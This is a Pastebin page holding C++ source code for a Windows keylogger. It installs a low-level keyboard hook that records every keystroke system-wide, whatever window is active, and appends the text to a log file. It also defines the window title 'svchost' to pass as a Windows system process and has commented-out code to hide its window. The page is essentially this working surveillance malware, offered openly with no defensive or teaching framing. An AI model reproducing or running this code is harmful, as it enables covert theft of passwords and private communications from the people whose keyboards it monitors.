Advertisement
Guest User

paste

a guest
Dec 1st, 2015
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.14 KB | None | 0 0
  1. #include <fstream>
  2. #include <iostream>
  3. #include <string>
  4. #include <windows.h>
  5.  
  6. #define DEBUG 1
  7.  
  8. #define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
  9. #define CLASSNAME "winkey"
  10. #define WINDOWTITLE "svchost"
  11. int i = 0;
  12. char windir[MAX_PATH + 1];
  13. HHOOK kbdhook; /* Keyboard hook handle */
  14. bool running; /* Used in main loop */
  15.  
  16. /**
  17. * \brief Called by Windows automagically every time a key is pressed (regardless
  18. * of who has focus)
  19. */
  20. __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
  21. {
  22. if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  23. static bool capslock = false;
  24. static bool shift = false;
  25. char tmp[0xFF] = {0};
  26. std::string str;
  27. DWORD msg = 1;
  28. KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  29. bool printable;
  30.  
  31. /*
  32. * Get key name as string
  33. */
  34. msg += (st_hook.scanCode << 16);
  35. msg += (st_hook.flags << 24);
  36. GetKeyNameText(msg, tmp, 0xFF);
  37. str = std::string(tmp);
  38.  
  39. printable = (str.length() <= 1) ? true : false;
  40.  
  41. /*
  42. * Non-printable characters only:
  43. * Some of these (namely; newline, space and tab) will be
  44. * made into printable characters.
  45. * Others are encapsulated in brackets ('[' and ']').
  46. */
  47. if (!printable) {
  48. /*
  49. * Keynames that change state are handled here.
  50. */
  51. if (str == "CAPSLOCK")
  52. capslock = !capslock;
  53. else if (str == "SHIFT")
  54. shift = true;
  55.  
  56. /*
  57. * Keynames that may become printable characters are
  58. * handled here.
  59. */
  60. if (str == "ENTER") {
  61. str = "\n";
  62. printable = true;
  63. } else if (str == "SPACE") {
  64. str = " ";
  65. printable = true;
  66. } else if (str == "TAB") {
  67. str = "\t";
  68. printable = true;
  69. } else {
  70. str = ("[" + str + "]");
  71. }
  72. }
  73.  
  74. /*
  75. * Printable characters only:
  76. * If shift is on and capslock is off or shift is off and
  77. * capslock is on, make the character uppercase.
  78. * If both are off or both are on, the character is lowercase
  79. */
  80. if (printable) {
  81. if (shift == capslock) { /* Lowercase */
  82. for (size_t i = 0; i < str.length(); ++i)
  83. str[i] = tolower(str[i]);
  84. } else { /* Uppercase */
  85. for (size_t i = 0; i < str.length(); ++i) {
  86. if (str[i] >= 'A' && str[i] <= 'Z') {
  87. str[i] = toupper(str[i]);
  88. }
  89. }
  90. }
  91.  
  92. shift = false;
  93. }
  94.  
  95. #ifdef DEBUG
  96. std::cout << str;
  97. #endif
  98. std::string path = "C:\\Users\\oams8_000\\Documents\\example\\text.txt";
  99. std::ofstream outfile(path.c_str(), std::ios_base::app);
  100. if(i%20 == 0){outfile << std::endl;}
  101. outfile << str;
  102. i++;
  103. outfile.close();
  104. }
  105.  
  106. return CallNextHookEx(kbdhook, code, wp, lp);
  107. }
  108.  
  109.  
  110. /**
  111. * \brief Called by DispatchMessage() to handle messages
  112. * \param hwnd Window handle
  113. * \param msg Message to handle
  114. * \param wp
  115. * \param lp
  116. * \return 0 on success
  117. */
  118. LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
  119. {
  120. switch (msg) {
  121. case WM_CLOSE: case WM_DESTROY:
  122. running = false;
  123. break;
  124. default:
  125. /* Call default message handler */
  126. return DefWindowProc(hwnd, msg, wp, lp);
  127. }
  128.  
  129. return 0;
  130. }
  131.  
  132. int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  133. LPSTR cmdline, int ncmdshow)
  134. {
  135. /*
  136. * Set up window
  137. */
  138.  
  139. HWND hwnd;
  140. HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
  141. MSG msg;
  142. WNDCLASSEX windowclass;
  143. HINSTANCE modulehandle;
  144.  
  145. // windowclass.hInstance = thisinstance;
  146. // windowclass.lpszClassName = CLASSNAME;
  147. // windowclass.lpfnWndProc = windowprocedure;
  148. // windowclass.style = CS_DBLCLKS;
  149. // windowclass.cbSize = sizeof(WNDCLASSEX);
  150. // windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  151. // windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
  152. // windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
  153. // windowclass.lpszMenuName = NULL;
  154. // windowclass.cbClsExtra = 0;
  155. // windowclass.cbWndExtra = 0;
  156. // windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
  157. //
  158. // if (!(RegisterClassEx(&windowclass)))
  159. // return 1;
  160. //
  161. // hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
  162. // CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
  163. // thisinstance, NULL);
  164. // if (!(hwnd))
  165. // return 1;
  166. //
  167. // /*
  168. // * Make the window invisible
  169. // */
  170. //#ifdef DEBUG
  171. // /*
  172. // * Debug mode: Make the window visible
  173. // */
  174. // ShowWindow(hwnd, SW_SHOW);
  175. //#else
  176. // ShowWindow(hwnd, SW_HIDE);
  177. //#endif
  178. // UpdateWindow(hwnd);
  179. // SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
  180. //
  181. // /*
  182. // * Hook keyboard input so we get it too
  183. // */
  184. modulehandle = GetModuleHandle(NULL);
  185. kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);
  186.  
  187. running = true;
  188.  
  189. GetWindowsDirectory((LPSTR)windir, MAX_PATH);
  190.  
  191. /*
  192. * Main loop
  193. */
  194. while (running) {
  195. /*
  196. * Get messages, dispatch to window procedure
  197. */
  198. if (!GetMessage(&msg, NULL, 0, 0))
  199. running = false; /*
  200. * This is not a "return" or
  201. * "break" so the rest of the loop is
  202. * done. This way, we never miss keys
  203. * when destroyed but we still exit.
  204. */
  205. TranslateMessage(&msg);
  206. DispatchMessage(&msg);
  207. }
  208.  
  209. return 0;
  210. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement